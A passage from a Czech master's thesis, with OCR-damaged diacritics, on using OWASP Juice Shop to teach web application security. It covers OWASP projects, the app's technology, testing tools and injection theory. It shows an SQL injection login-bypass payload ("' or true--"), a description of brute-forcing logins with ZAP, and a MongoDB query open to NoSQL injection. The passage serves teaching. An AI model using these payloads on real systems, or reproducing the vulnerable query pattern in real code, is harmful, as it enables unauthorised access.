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ABSTRAKT

Tato diplomova prace se zabyva projektem OWASP Juice Shop a jeho vyuzitim pti praktické
vyuce bezpecnosti webovych aplikaci. V. OWASP Juice Shopu jsou aplikovany riiznorodé
zranitelnosti, které se mohou vyskytovat v béznych webovych aplikacich. Je zde vytvoien
navod pro instalaci a zprovoznéni testovaci aplikace. Nasledn¢ je vybrano nékolik typil
zranitelnosti, které jsou v aplikaci nalezeny a poté opraveny. Cely postup nalezeni
bezpecnostnich chyb a nasledné opravy je detailn¢ popsan v ndvodech, véetné snimkl
z jednotlivych kroki, které mohou byt vyuzity pro lepsi pochopeni zranitelnosti. Prace dale
obsahuje detailni popis vybranych zranitelnosti a popis pouzitych technologii a aplikaci,

které byly vyuzity pti analyze a pro nalezeni danych zranitelnosti.

Klicova slova: OWASP, Juice Shop, webova aplikace, zranitelnost

ABSTRACT

This master’s thesis deals with OWASP Juice Shop project and its usability for practical
training of web applications security. OWASP Juice Shop has various vulnerabilities
in itself, which can occur in common web applications. This thesis contains tutorial for web
application setup. Subsequently, several types of vulnerabilities are selected, which
are found in the application and then fixed. Whole process of security vulnerabilities
discovery and correction is described in detail in the tutorials, including screenshots from
individual steps, which can be used for better understanding of vulnerabilities. The thesis
then contains detailed description of selected vulnerabilities and description of used
technologies and applications, which were used during the analysis and for finding

mentioned vulnerabilities.

Keywords: OWASP, Juice Shop, web application, vulnerability
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UvVOD

V této praci je prezentovan projekt OWASP Juice Shop a jeho vyuziti pfi praktické vyuce
bezpecnosti webovych aplikaci. Aplikace Juice Shop obsahuje rtiznorodé bezpecnostni
zranitelnosti, které se bézné mohou vyskytovat ve webovych aplikacich. Souhrn vsech
bezpec¢nostnich zranitelnosti, které tato aplikace obsahuje, se nachazi na jedné ze stranek

piimo v aplikaci a u kazdé z nich je také kratka napovéda, jak danou zranitelnost nalézt.

Pro ucely vyuky je vytvoren navod pro instalaci a zprovoznéni testovaci aplikace na riznych
operacnich systémech a nacloudovém serveru. Pro tucely oSetfeni zranitelnosti, kdy
je zapotiebi mit zpfistupnéné zdrojové kody, je zde popsan zpiisob instalace aplikace
ze zdrojovych soubori stazenych z Gitu. V piipad¢ pouhého hledani zranitelnosti je popsan
zpusob spusténi jiz zkompilované aplikace na zafizeni nebo na cloudovém serveru, v tomto

ptipadé Heroku.

Nasledné je vybrano nekolik typa zranitelnosti, které budou v aplikaci postupné nalezeny
a nasledn¢ oSeteny. Cely postup nalezeni bezpecnostnich zranitelnosti a jejich nasledného
oSetfeni je detailné¢ popsdn a doplnén o snimky jednotlivych kroki, které mohou vést
k lepSimu pochopeni zranitelnosti. Konkrétn€ jsou vybrany kategorie zranitelnosti Injection,
XSS, Broken Authentication a Broken Access Control, kdy pro kazdy typ zranitelnosti
se v aplikaci nachazi fada mist a zplsobl jak danou zranitelnost zneuzit. VSechny
zpracované zranitelnosti jsou rozdéleny podle typu do souborl, kde jsou sefazeny

S 24

nalezené zranitelnosti v souboru je odkaz, ktery odkazuje na nadvod k jejimu oSetteni.

V ramci teoretické ¢asti jsou popsany vybrané zranitelnosti a aplikace, které byly vyuzity
pfi analyze, simulaci utokll a pro nalezeni danych zranitelnosti. Konkrétné¢ se jedna
o aplikace Postman, ZAP a nastroj Chrome DevTools zabudovany piimo v Google Chrome
prohlizeci. Déle je popsana organizace OWASP, pod jejiz zastitou vznikl projekt Juice Shop
a fada dalSich projekti, z nichz se né€kolik rovnéz tyka bezpecnosti webovych aplikaci. Tyto

dalsi projekty jsou v rdmci teoretické Casti prace taktéz zminény.
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I. TEORETICKA CAST
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1 OWASP

Neziskova nadace Open Web Application Security Project® znamd pod akronymem
OWASP se zamétuje na zlepsSeni zabezpeceni aplikaci. Jedna se o otevienou komunitu, kde
se kdokoli muaze ucastnit projektti, diskuzi nebo ji finanéné podpotit. OWASP poskytuje
pfistup ke vS§em svym projektlim, nastrojim, dokumentim a veskerym informacim, a to

zcela zdarma na jejich webovych strankach. [1]

OWASP ve svété funguje témet dvacet let a za tu dobu si ziskalo mnoho dobrovolnika
a vyvojara, kteti jej podporuji. Za pomoci nékolika desitek tisic ¢lenti po celém svété
OWASP potadd Spickové vzdélavaci a Skolici konference a je zdrojem informaci

pro vyvojafe a technology zabyvajicich se zabezpecenim webovych aplikaci. [1], [2]

Mezi zakladni hodnoty OWASP patii otevienost, inovace, celosvétovost, integrita.
Do otevienosti také spada transparentnost, kterd se tyka plateb a ptispévkil nadaci. Dale
podporuje inovativni pfistup u feseni tloh a experimentovani v oblasti zabezpeceni aplikaci.
OWASP je dostupny po celém svété a kdokoli se miiZe pfipojit. Integrita komunity spociva

ve vzdjemném respektu, podpote, pravdivosti a zachovani neutrality vic¢i prodejcim. [1]

OWASP zahrnuje n¢kolik desitek projektil, na kterych mtize kdokoli pracovat, jelikoz jsou
vSechny projekty volné pristupné. Kazdy projekt se sklada ze souboru souvisejicich ukoli

a vedouciho, ktery projekt fidi, definuje vize, planuje a buduje tym. [1]

Tvorba téchto projektli dava vSem ¢lentim svobodné testovat své napady a teorie. Mohou
také vyuzit profesionalni poradenstvi a podporu komunity OWASP béhem feseni tkolt.
Kazdy projekt vlastni svou webovou stranku, seznam lidi, ktefi se na projektu podileji

a tymovy komunikaéni kanal. [1]

Projekty se dé&li do 3 zékladnich skupin, a to stéZejni projekty, laboratorni projekty
a inkubacni projekty. Mezi stéZejni projekty se fadi ty, které prokazaly svou strategickou
hodnotu pro OWASP a bezpec€nost aplikaci. Laboratorni projekty ptinesly pro OWASP
hodnotny vystup. Inkubaéni projekty jsou ve fazi experimentovani, testovani, rozvijeni
a vyvoj stale probiha. Mezi sté¢Zejni projekty se fadi napt. OWASP Top Ten, OWASP Guide,
OWASP ZAP, ale také OWASP Juice shop. [1], [3]

1.1 OWASP Top Ten

OWASP Top Ten je velmi rozsifeny a uznavany dokument v oblasti bezpecnosti webovych

aplikaci. Zahrnuje top deset zranitelnosti zabezpecCeni webovych aplikaci, na kterych
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se shodli bezpecnostni odbornici z celého svéta, ktefi se podileli na tvorbé tohoto seznamu.
I kdyZ je bezpecnostnich rizik vice, snahou tohoto seznamu je uvédomit si a brat v potaz

vvvvvv

zabezpecit. [4], [5], [6]

OWASP pravideln¢ hodnoti a zarazuje kybernetické utoky podle toho, jak moc snadné
je danou chybu zneuzit, kolik bylo obéti danym typem utoki, jak snadno ho Ize detekovat,
jaky ma dopad a nasledné je vybrano top deset utok. OWASP Top Ten bylo poprvé
predstaveno v roce 2003. Seznam se aktualizuje pfiblizné kazdé 3-4 roky. Seznam byl
jiz aktualizovéan v roce 2004, 2007, 2010, 2013 a naposled byl aktualizovan v roce 2017.
Dalsi aktualizace méla byt predstavena na konci roku 2020, maze se tedy predpokladat,

ze seznam bude piedstaven béhem roku 2021. [4], [7]

Mezi Top Ten patii napt. zranitelnosti v podobé€ injection, nefunkéni oveéfovani, nefunkéni
fizeni pfistupu, Cross-Site Scripting (XSS), chybnd konfigurace zabezpeceni, padélani
zadosti mezi weby (CSRF) a dalsi. Nékteré z téchto zranitelnosti jsou feSeny v OWASP
Juice Shopu. [5], [6]

1.2 OWASP Vulnerable Web Applications Directory

Projekt taktéz vznikl pod zastitou organizace OWASP. Jedna se o souhrnny a udrzovany
registr vSech znadmych zranitelnych webovych aplikaci. Cilem tohoto projektu, je poskytnout
informace o dostupnych webovych aplikacich, které v sobé maji rizné zranitelnosti. Jsou
urceny pro vyvojare, testery, auditory a pro kazdého, kdo se chce dozvédét o zranitelnostech,
kter¢ mohou webové aplikace skryvat a nésledné tyto chyby opravit. Mohou na téchto
webovych aplikacich vyzkouSet rizné dostupné hackerské nastroje a techniky utoku a tim

se ucit, v jakych oblastech musi byt obezfetni, aby byla webova aplikace bezpe¢na. [8]

V seznamu jsou weboveé aplikace rozdéleny do tii kategorii a to Online, Offline a VM/ISO.
Jedna se o nékolik desitek webovych aplikaci, mezi kterymi je i1 projekt OWASP Juice
Shop. [8], [9]

1.3 OWASP Cheat Sheet Series

Jedna se o projekt, ktery vznik za ufelem vytvoreni souboru jednoduchych ovétenych
postupi, které mohou byt dale vyuzity pii tvorbé vlastnich aplikaci. Zabyva se riznymi
oblastmi zabezpeceni aplikace. VSechny témata jsou sefazeny abecedné a kazdé z témat

obsahuje ivod do problematiky a nasledné informace, jak postupovat pii tvorbé aplikace,
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abychom se vyhnuli potencionalnim zranitelnostem. Tento seznam byl a stale

je aktualizovéan odborniky, ktefi maji znalosti v jednotlivych oblastech. [10], [11]

1.4 OWASP Web Security Testing Guide

Neboli zkracené WSTG je ptirucka tvofena ovéfenymi postupy pro testovani zabezpeceni
webovych aplikaci. Tento projekt se vyviji a neustale aktualizuje nékolik let, prvni verze
této prirucky byla zvefejnéna jiz v roce 2004. Jedna se o propracovanou piirucku, kterou
vyuziva fada webovych vyvojait k dosazeni kyzeného vysledku v oblasti bezpecnosti svych

webovych aplikaci. [12], [13]

Jedna se o dlouholety projekt, na kterém pracuji odbornici v danych oblastech problematiky
kybernetické bezpecnosti. Vysledkem je tak tada osvédcéenych postupli, které jsou
vyuzivany mnoha organizacemi po celém svété. Na rozdil od vySe zminéného OWASP
Cheat Sheet Series se 1iSi tato pfirucka v tom, Ze neobsahuje pouze seznamy moznych
zranitelnosti a jak jim predchazet, ale rozsahlé postupy, jak pozadované vysledky

v zabezpec€eni dosdhnout a jaké techniky jsou k tomu zapottebi. [13]
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2 OWASP JUICE SHOP

Jedna se o webovou aplikaci, kterd se na prvni pohled tvaii jako online obchod prodavajici
ovocné a zeleninové S$tavy a souvisejici produkty. Pokusime-li se néjaky z produkti
po ptihlaSeni objednat, zjistime, Ze i pfestoze pravdivé vyplnime potiebné udaje, nejedna
se o skutecnou objednavku a platba neprobéhne. Tento web je pro vSechny volné dostupny

k nahlédnuti na adrese https://juice-shop.herokuapp.com/#/. [14], [15]

OWASP Juice Shop obsahuje fadu zamyslenych bezpecnostnich zranitelnosti. Projekt
vznikl, aby mohl zvySovat povédomi, demonstrovat, skolit a procvicovat vyhledavani
bezpec¢nostnich rizik v modernich webovych aplikacich. Projekt obsahuje 100 vyzev
s riznou obtiznosti a obsahuje mnoho bezpecnostnich zranitelnosti, které je mozné
naleznout i1 v seznamu OWASP Top Ten. VSechny tyto zranitelnosti byly imysIné vloZeny
do aplikace, jedna se vSak o zranitelnosti, které se mohou objevit béhem redlného vyvoje
webu. Snahou je tak na slabiny upozornit, aby si je vyvojafi a testeti uvédomovali béhem

vytvafeni redlnych webovych aplikaci. [16], [17]

Vyvoj na Juice Shopu zapocal osobni iniciativou autora v zaii roku 2014, tehdy jeho
zaméstnavatel hledal nové modernéjsi feSeni pro Skoleni svych zaméstnanci v oblasti
bezpecnosti webovych aplikaci. Od zacatku byla aplikace vyvijena jako open-source
software bez zastity jakékoliv firemni znacky. V pribéhu nésledujicich dvou let autor zacal
spolupracovat s neziskovou nadaci OWASP, které pfedlozil sviij projekt. Projekt byl pfijat
a nasledné vystaven velké komunité odborniki, kteti jsou zaroven ¢leny OWASP. Béhem
pouhych 8 mésicti se z inkubacni faze projekti dostal do faze laboratorni a jiz v ¢ervenci

roku 2018 se Juice Shop dostal do stézejnich projekti OWASP. [15]

Projekt OWASP Juice Shop se neustdle vyviji a vyuzivaji se nejnovéjsi technologie
a zaroven s nimi se objevuji a vytvareji nové bezpecnostni chyby, které jsou do Juice Shopu
implementovany. Projekt je urCen ke Skoleni a testovani a funguje jako pokusny kralik

pfi testovani s cilem zvysit zabezpeceni webovych aplikaci. [15], [16]

Aby projekt OWASP Juice Shop zaujal, byla vyuzita marketingova technika gamifikace,
kdy je cely projekt pojat jako zabavna hra, ktera feSitele motivuje objevovat a fesit jednotlivé
chyby v aplikaci. Na Juice Shopu miiZeme nalézt zalozku Score Board kde nalezneme vSech
100 ukold, které jsou ohodnoceny podle obtiznosti po¢tem hvézd a také jsou rozdé€leny
do kategorii podle typu zranitelnosti. Regitelé tak mohou fesit podle toho, jak jsou ulohy

naro¢né, anebo si vybrat zranitelnosti, které je zajimaji. [15]
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2.1 Pouzité technologie

OWASP Juice Shop je webova aplikace implementovana v jazyce JavaScript a v jeho
nadstavb¢ nazvem TypeScript. Aplikace je vytvofena jako tzv. single page aplikace pomoci

frameworku Angular. [15]

Uzivatelské rozhrani aplikace je postaveno na Google Material Designu, coz je designova
specifikace vytvoiena spolecnosti Google. Aplikace konkrétné pouziva knihovnu Angular
Material pro jednoduchou implementaci tohoto designu. Rozhrani je také diky pouzitym
technologiim pln¢ responzivni, tedy dobfe pouzitelné i na mobilnich =zatizenich.

Pro zobrazeni ikon se pouzivéa velmi znama a ovétena knihovna Font Awesome. [15]

Na JavaScriptu je zalozen také backend aplikace, ktery je naimplementovany jako RESTful
API', které poskytuje frontendu potiebnd data. Pro vytvofeni téchto API byl pouZit

framework Express, ktery bézi na Node.js serveru. [15], [18]

Jako databaze byla vybrana light-weight databaze SQL.ite a to pfedevsim pro jeji souborovou
strukturu, diky ¢emuz ji lze jednoduSe vytvofit a spravovat bez potieby dedikovaného
serveru. Jako abstraktni vrstva nad databazi jsou pouZity sequelize a finale-rest, které
umoziuji pouziti dynamicky vytvofenych API endpointi pro jednoduché operace
s databazovymi zdroji (tzv. CRUD operace), ale také i vytvaieni vlastnich SQL dotazl

pro komplexng&jsi ptipady. [15]

Jako druhotné ulozisté dat aplikace pouziva NoSQL databazi MarsDB. Jedna se o databazi,
ktera je derivitem znamé a pouzivané MongoDB a ma tedy vétSinu operaci

kompatibilni. [15]

Takzvané push notifikace, kterd aplikace zobrazuje naptiklad v ptipadé splnéni ukolu, jsou
implementovany pomoci protokolu WebSockets. Aplikace dale nabizi uZivatelskou
registraci pomoci OAuth 2.0 standardu, takze se uzivatelé mohou ptihlasovat pomoci jejich

Google uctu. [15]

! Rozhrani RESTful API je architektonicky styl pouzivany pfi tvorb& rozhrani pro programovani aplikaci, které
pouziva pozadavky HTTP k pfistupu a pouzivani dat.
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2.2 Grafické uzivatelské rozhrani

Po spusténi aplikace z adresaie, kde je umistény pomoci ptikazovém fadku powershell
a prikazu ,,npm start” se v prohlizeCi dostaneme na adrese localhost:3000 na grafické

rozhrani. [19] Konkrétné se dostaneme na uvodni stranku OWASP Juice shopu (Obr. 1).
= [ owasP Juice Shop

All Products

Apple Juice Banana Juice
(1000mi) 9 Apple Pomace (1000mi)
1.99u i 1.99u

Best Juice Shop CartJuice i Eggfrl Juice

Obr. 1. Uvodni strana OWASP Juice Shop
Na obrazku vyse (Obr. 1) je vidét produkty k prodeji, u kterych po rozkliknuti mizeme vidét
komentate prihlaSenych uzivatelii. Po pfihlaSeni pak lze taktéz ptidavat komentéie, editovat

je, nebo jednotlivé produkty ptidat do koSiku.

V levé casti horni listy se nachazi hamburger menu, pod kterym mtizeme mimo jiné nalézt
uzitecné odkazy, o jakou verzi OWASP Juice shopu jde, ale také Score Board (Obr. 2).
V pravé &asti se vyskytuje lupa pro vyhledavani, Gcet pro piihlaseni a jazykova mutace.
OWASP Juice Shop je mozné zobrazit v nékolika jazykovych mutacich, ovSem u nekterych

jazykl nemusi byt pteklad vSech komponent kompletni.
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= ' OWASP Juice Shop

Score Board

Hide all ‘!’ Show solved @ Show tutorials only o Show unavailable

‘Show all

Reset the password of Bjoern's OWASP account via the Forgot Pz mechanism

' . Broken Authentication
with the original answer to his security question.

Bjoem's Favorite Pet

Change Bender's Change Bender's password Into srmCiéssic without using SQL Injection or Forgot.
Password Password
GDPR Data Erasure Log in with Chris' erased user account. Broken Authentication

Log in with Bjoer's Gmail account without previously changing his password, applying o L L

Loain Bioem

Obr. 2. Score Board
Jedna z prvnich navstivenych zéloZzek na webové strance je pravé Score Board, ktera
obsahuje vSech 100 zranitelnosti ohodnocenych hvézdami podle obtiznosti. V horni ¢asti
stranky vedle néapisu Score Board je procentualné zobrazeno, kolik uloh je jiz splnéno.
Pod néapisem je zobrazen filtrovaci modul. V tomto modulu je mozné vybrat tkoly podle
obtiznosti, umoziuje skryt jiz splnéné tlohy, zobrazit ulohy, ke kterym je dostupny navod
s feSenim, anebo zobrazit ulohy, které jsou nedostupné. Mezi nedostupné se fadi ty, které
nejsou zatazeny k feseni na dané platformé. Dalsi z filtri umoziuje vybirat ulohy podle dané
zranitelnosti. Na strance se také nachazi dvojice tlacitek, kdy jedno z nich slouzi k ulozeni
postupu v ulohédch do souboru tak, aby jej bylo mozné kdykoli a kdekoli obnovit, k cemuz

prave slouzi druhé z tlacitek.

V poslednim modulu na strance se zobrazuji jiz vyfiltrované ulohy. U kazdé z nich je nazev,
obtiznost znazornéna hvézdami, kratky popis, o jakou zranitelnost se jedna, ptipadné i kratky
tag a stav, ve kterém se kol pravé nachazi. Pokud uloha neni dosud splnénd, nachézi se zde
tlacitko, které odkazuje na stranku, kde miizeme naleznout blizsi informace k tkolu. Pokud
je uloha jiz splnéna, rozsviti se zelené a objevi se u ni dalsi tlacitko se Stitem, které odkazuje

na fesenti, jak tuto zranitelnost zabezpecit.
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3 POUZITE NASTROJE A TECHNOLOGIE

Béhem feSeni tloh v Juice Shopu je vyuzito nékolik nastroji raznych aplikaci
pro efektivnéj§i praci, zkouméni e-shopu a nalezeni zranitelnosti. Hlavni pouZzivanou
aplikaci je samotny prohlize¢ Google Chrome, ktery je vyuzit pro spousténi webové aplikace
Juice Shop. Tento prohlize¢ obsahuje fadu developerskych nastrojti, diky nimz je mozné

piimo v prohliZeci analyzovat webovou aplikaci a spoustét vlastni upravené pozadavky.

Pii analyze a posilani upravenych pozadavkll je vyuzit také software urCeny prave
pro testovani a ladéni webovych aplikaci Postman. Také byl vyuzit béhem feSeni uloh

software ZAP, ktery mimo jiné dokaze simulovat automatizované toky.

3.1 Chrome DevTools

Prohlize¢ Google Chrome ma integrovanou fadu nastroji, které mohou ulehcit praci
webovym vyvojaiim. Pomoci nastroje DevTools je umoznéno v prohlize¢i okamzité

upravovat stranky a diagnostikovat problémy.

Pro spusténi nastroje DevTools je potieba v prohlize¢i oteviit pozadovanou webovou
aplikaci, kterou budeme chtit detailné¢ prozkoumat a pomoci zkratky ,,Ctrl+Shift+I* nebo
pravého tlacitka mysi z nabizenych moznosti vyvérem ,,Prozkoumat® se ndm zobrazi ndhled

s nastroji DevTools.

Elements

<IDOCTYPE html>

<html lang="en" class="fontawesome-i2svg-active fontawesome-i2svg-complete”>

" nomodule defer

" nomodule defer
.js" type="modul
type="module’

tawesome-i2svg-complete

Obr. 3. Nahled prizkumniku v prohlize¢i Google Chrome
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Na obréazku vyse (Obr. 3) se nachazi rozhrani DevTools s fadou nastroji pro zkoumani a
pochopeni souvislosti ve webové aplikaci a nalézani zranitelnosti. V horni li§t¢ se nachézeji
nejpouzivanéjsi nastroje pro analyzu webu. V pravé Casti horni liSty je mozné vybrat dalsi
uziteCné nastroje nebo si vzhled a celkové nastaveni ptfizpusobit dle svych pozadavki.
V pravé ¢asti je mozné pomoci prvniho néstroje (ikona se Sipkou) prozkoumat jednotlivé
prvky webové aplikace a druhd ikona umoznuje nahled aplikace v rozdilnych zobrazenich.
V rozhrani se nabizi cela fada rlznych zobrazeni a nastroji, které mohou napomoci
k nalezeni danych zranitelnosti ve webové aplikaci. Vyuzity jsou predevSim néstroje Sit’

(Network), Konzole (Console) Aplikace (Application), Zdroje (Sources). [20]

Sitovy nastroj je jednim z nejpouzivanéjSich nastroji Chrome DevTools. Vyuziva
se pro kontrolu sitové aktivity webové stranky. Tento néstroj pouZzivaji vyvojafi napiiklad,
aby nahlédli, zda se zdroje nahravaji a stahuji dle ocekdvani nebo mohou byt nastrojem

kontroly vlastnosti hlavic¢ky http, obsahu, velikosti a mnohého dalsiho. [20]

Umoziuje sledovat jednotlivé kroky napt. ptihlaSeni uzivatele. Na zaklad¢ vyhodnocenych
pozadavkl néasledné muzeme vidét, jak skonci netspéSné piihlaSeni, Gspésné piihlaseni,
ale také mizeme objevit chyby, které mohou byt posléze zneuzity.

Ziskané pozadavky pomoci sitového ndstroje mohou byt posléze piimo v prohlizeci
zkopirovany a vlozeny do zalozky Konzole. V této zaloZce je mozné upravit, odeslat

a posléze déle analyzovat. [21]

DalSim nastrojem je Aplikace, diky kterému jsou k nadhledu a kontrole nactené prostredky
jako je databazovy IndexedDB nebo Web SQL, mistni ulozisteé, uloZisté relaci, soubory

cookie, mezipamét’ aplikace a dalsi.

Prostfednictvim nastroje Zdroje je mozné zobrazit veSkeré externi soubory, které aplikace
pouziva v klientské casti aplikace. Tyto data mohou zahrnovat HTML, CSS nebo
1 Javascriptové dotazy. Timto zplisobem mohou byt nalezeny napft. Javasciptové dotazy,

které se mohou tykat piihlaSeni a mély by byt pro uzivatele skryty. [22]

Chrome DevTools nabizi velkou Skalu nastrojii a moZznosti, jak dohledat a efektivné opravit
nedostatky webovych aplikaci.

3.2 Postman

Jedna se o software ur€eny pro testovani a ladéni webovych aplikaci. Vyuziva se predev§im

k testovani kompatibility a funkénosti webu s dalsimi webovymi sluzbami ttetich stran. Tato
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aplikace umoziuje rychly a uzivatelsky pfivétivy ndhled na data. Do aplikace je mozné
vlozit adresu webové stranky a poté upravovat pozadavky, zéhlavi fragmentl a dalsi.
V mnoha ohledech nabizi podobné nastroje jako Chrome DevTools, ale nahled na ziskané

data a vkladani specifickych pozadavki je mnohem piehlednéjsi. [23]

Nize jsou ukazky ziskanych dat z vlozeného pozadavku v prohlizeci Google Chrome (Obr.
4) a v aplikaci Postman (Obr. 5). V prohlizeci jsou zobrazeny jako zmét’ dat, které nejsou
nijak strukturalizovana. V Postmanovi jsou ziskéna data strukturovana, a i nasledna prace

se ziskanymi daty je tak mnohem snadné&jsi.

{"status":"success","data":[{"id":"","name" :"J112934@juice-
sh.op”,"description”:"3c2abc@dedabeadf1327d0aae3714b7d", "price”: "assets/public/images/uploads/defaultidm
in.png","deluxePrice":8,"image":0,"createdAt": 0, "updatedit" :0, "deletedAt" : 0},

Obr. 4. Ukazka ziskanych dat v prohlize¢i Google Chrome

-sh.op ,
4edabeadfl327d0aae3714b7d",

ic/images/uploads/defaultAdmin.png",

Obr. 5. Ukazka ziskanych dat v aplikaci Postman

Piestoze nastroje Chrome DevTools by v mnoha ohledech mohly byt dostacujici, Postman

je vyuzivan pro piehledné€jsi ndhled na data a posléze pro snadnéjsi praci s nimi.

3.3 OWASP ZAP

Zed Attack Proxy neboli ZAP je aplikace urcena k testovani webovych aplikaci. Jedna
se o0 bezplatny software urCeny k penetraCnimu testovani, ktery byl vytvofen a stale

je udrzovan pod zastitou organizace OWASP.

Aplikace je umisténa mezi prohlizec¢em a webovou aplikaci, diky ¢emuZ je schopna zachytit
a kontrolovat odeslané zpravy mezi prohlizecem a webovou aplikaci. Diky tomuto umisténi
je také mozné upravovat obsah pozadavku a upravené je posilat dal. ZAP poskytuje fadu
testovacich nastroji a funkci, diky kterym je mozné nalézat zranitelna mista v aplikaci

a nasledné tyto slab4 mista dale testovat na rizné typy utoki. [24]
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Zjistime-li, Ze webova aplikace neni dostatecn¢ zabezpecena proti utoku hrubou silou,
napiiklad neni omezeny pocet pokusti pro vkladani hesla. Mizeme prostfednictvim nastroju
a funkci ZAP tuto zranitelnost zneuzit a zautomatizovat utok hrubou silou. Vybereme
vhodny nastroj, nahrajeme seznam s hesly, kterd budou postupné¢ vkladany do predem
uréeného datového pole, a poté uz jen spustime skenovani. Software pak sam automaticky
postupné vklada hesla do pole a odesild pozadavky na ptihlaSeni, dokud neprojde cely

seznam nebo jej nepozastavime. Béhem procesu muzeme sledovat, zda byla nalezena

shoda. [24]
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4 INJECTION

N 24

Do Spatn¢ navrzenych aplikaci je mozné vkladat a spoustét celé skripty. Naléza-li
se ve webové aplikaci zranitelnost v podobé¢ injection, je mozné ji zneuzit a vlozit
prostfednictvim ni kus Skodlivého kédu do systému, to mlize mit za nasledek ztratu nebo
kradez dat, ztratu integrity dat, odmitnuti sluzby nebo uplné zkompromitovani

systemu. [25], [26]

Pti utoku injection uto¢nik nalezne zranitelné vstupni pole a nasledné do n¢j vlozi skodlivy
kod. Aplikace tyto vstupni data zpracuje a zpusobi tak neocekdvané chovani aplikace.
V mnoha piipadech se jednd naptiklad o data, ktera fidi zakladni logiku aplikace, uzivatelské
ucty, jejich souvisejici udaje a opravnéni, nastaveni konfigurace aplikace a dalsi. I pravé
proto tyto utoky nepiedstavuji hrozbu pouze pro aplikace a souvisejici dalsi sluzby, ale 1 pro

samotné uzivatele, jejichz informace jsou uvnitt. [26], [27]

Dtivodem, proc je tento typ utoku tak nebezpecny, je prave proto, Ze se jedna o velmi dobte
prozkoumanou oblast, diky ¢emuz také vzniklo mnoho dostupnych a spolehlivych nastroji,
které tak i mén¢ zkuSenym uto¢nikim umoziuji nalézt zranitelnosti, a to zcela

automaticky. [27], [28], [29]

Injection utoky se zafadily i na seznam OWASP Top 10, pfedev§sim tedy SQLi (SQL
Injection) a XSS, které nejen, Ze jsou velmi rozsifené, ale také velmi nebezpecné, predevsim
ve starSich aplikacich. Mezi dalsi utoky injection se fadi Code Injection, NoSQL, LDAP
Injection, OS Command Injection, XPath Injection, Server-Side Template Injection a dalsi.

[25], [27]

4.1 SQL Injection

SQL neboli strukturovany dotazovaci jazyk se vyuziva k pfistupu k datim ulozenych
v rela¢nich databazich. Tyto databdzové systémy mohou byt napadeny, pokud v dané
aplikaci nejsou dostatecné oSetfeny vstupni pole, které odkazuji do systém1l, které spravuji
relaéni databaze. Takovy ttok se pak oznaluje jako SQLi neboli SQL Injection. Usp&sny
SQL Injection muze nalézt citlivd data databaze a upravovat je (napf. vkladat nova data,
aktualizovat je nebo dokonce i mazat). Tento utok se stal béznym problémem webovych
aplikaci, jelikoz chyba je pomémé snadno detekovatelna a nasledné zneuzitelna. Utok

se zpravidla provadi vkladanim metaznaki do vstupnich poli, kdy je testovano, zda je pole
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zranitelné. V ptipadé nalezeni slabiny je do vstupniho pole vlozen SQL ptikaz. Zranitelnosti
na webovych strankéch vznikaji v moment, kdy SQL ned¢la zadny rozdil mezi kontrolni

a datovou rovinou. [28], [30], [31]

Utokem SQL Injection jsou vkladany SQL piikazy, které umoziuji Gtoénikiim kupiikladu
zfalSovat identitu a pfihlasit se napf. jako administrator. Napiiklad abychom se piihlésili
pod Gctem administratora, nebo pod jakymkoliv uctem v databazi, musime nejdiiv zjistit,
zda je webova aplikace napadnutelnd pomoci SQL Injection. V aplikaci nalezneme vhodné
vstupni pole, tim muaze byt pole pro login. Vlozime-li do ptihlasovaciho uc¢tu jednoduchou
uvozovku, ¢imz se narusi tvar dotazu a ziskdme tak kus SQL kodu, ktery muze vypadat

napfiiklad takto [30]:

SELECT * FROM Users WHERE email = ''' AND password = 'HESLO' AND deletedAt

IS NULL

V tuto chvili vime, ze vstupni pole neni dostate¢né oSetfené proti SQL Injection. Pokud

vlozime do vstupniho pole napf. ' or true-- , bude databazovy dotaz vypadat takto [30]:

SELECT * FROM Users WHERE email = '' or true --' AND password = 'HESLO' AND

deletedAt IS NULL

Vse za dvéma pomlckami je tedy zakomentovano a utocnik se tak i bez spravného hesla
ptihlési jako administrator, resp. pifihlasi se pod prvni ucet v databazi, ktery ve vétSing

piipadu je pravé administratora. [30]

Pomoci horni uvozovky a dalSich béZnych metaznakd, které jsou vyuzivany v databazovych
ptikazech, miiZeme nejen zjistit, zda jsou napadnutelné vstupni pole formulafi, ale miZeme

tak otestovat, zda jsou zranitelné vstupy API endpointt. [30], [32]

4.2 NoSQL Injection

Termin NoSQL se pouzivd k oznacCeni databazové koncepce, kde datové uloziste
a zpracovani dat vychézi z jiné nez standardni architektury relanich databazi. Databaze
NoSQL prezentuje data namapovanim kli¢e a hodnoty. Nespoléhaji se tedy na jasn¢ dané
schéma, jako je tomu u obvyklych databidzovych tabulek. Kli¢e a hodnoty je mozné
libovolné definovat, format hodnot obvykle neni pro uloZeni dat relevantni. NoSQL
struktura taktéz umoZznuje pod hodnotou skryvat samotnou databdzi, tim se vytvaii

hierarchické ukladani, ¢imz se 1181 od standardni ploché datové struktury. [33]

Na rozdil od béznych relacnich databazi tak NoSQL nabizi fadu vyhod, a to zejména

pfi manipulaci velkého mnozstvi dat. Lze zde diky hierarchické struktufe databazi
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optimalizovat dle konkrétnich potieb, aby se tak snizila doba nacitani databaze. Neni potieba
slozitého volani mezi tabulkami k nacteni informaci, jako tomu je pravé u tradiCnich

databazi. [29], [33]

Jelikoz je NoSQL pomérné novy koncept databazového ulozisté, piinasi tak sebou 1 nové
dosud neobjevené zranitelnosti. Klicovym hlediskem je pfedevsim zptlisob, jakym jsou data
vyhledavana, tim jsou pak také urCeny i formy a moznosti pro vlozeni znakii a dat
pii napadeni. Velmi zdsadnim rozdilem je od klasickych rela¢nich databazi nesourodost
databazi, kazdad se tak mitize chovat odlisné. NoSQL mohou pouzivat rizné metody
dotazovani do databazi a to napf. pomoci dotazovani klice a hodnoty, za pomoci
programovaciho jazyka XPath nebo JavaScriptu. Jelikoz NoSQL diky implementacim
umoznuje pomérné snadny pfistup k datlim, mohou se objevit bezpecnostni zranitelnosti,
které jsou zneuzity pii napadeni Gtokem injection. Jedna se prozatim o pomérné€ neprobadané
uzemi a postupnym rozsifovanim tohoto konceptu se budou objevovat nové zranitelna mista

v aplikacich. [34], [35]

Jednim z ptedstavitell NoSQL je MongoDB a pravé tato databaze je pouzita pii ukdzce

moznosti zneuZiti zranitelnosti ve webové aplikaci za pomoci NoSQL Injection. [30]

Zde je ukazka, jak muze vypadat vyhledani ¢lankd konkrétniho autora v databazi

MongoDB [34]:

Posts.find({ $where: “this.hidden == false && this.author ==

'${req.query.author}'" }, (err, posts) => { ... });

Muzeme vidét, ze soucasti podminky je porovnani pole ,,author* s parametrem ,,author
z pfichoziho poZadavku. Pokud bychom tedy odeslali pozadavek, pficemz hodnotu
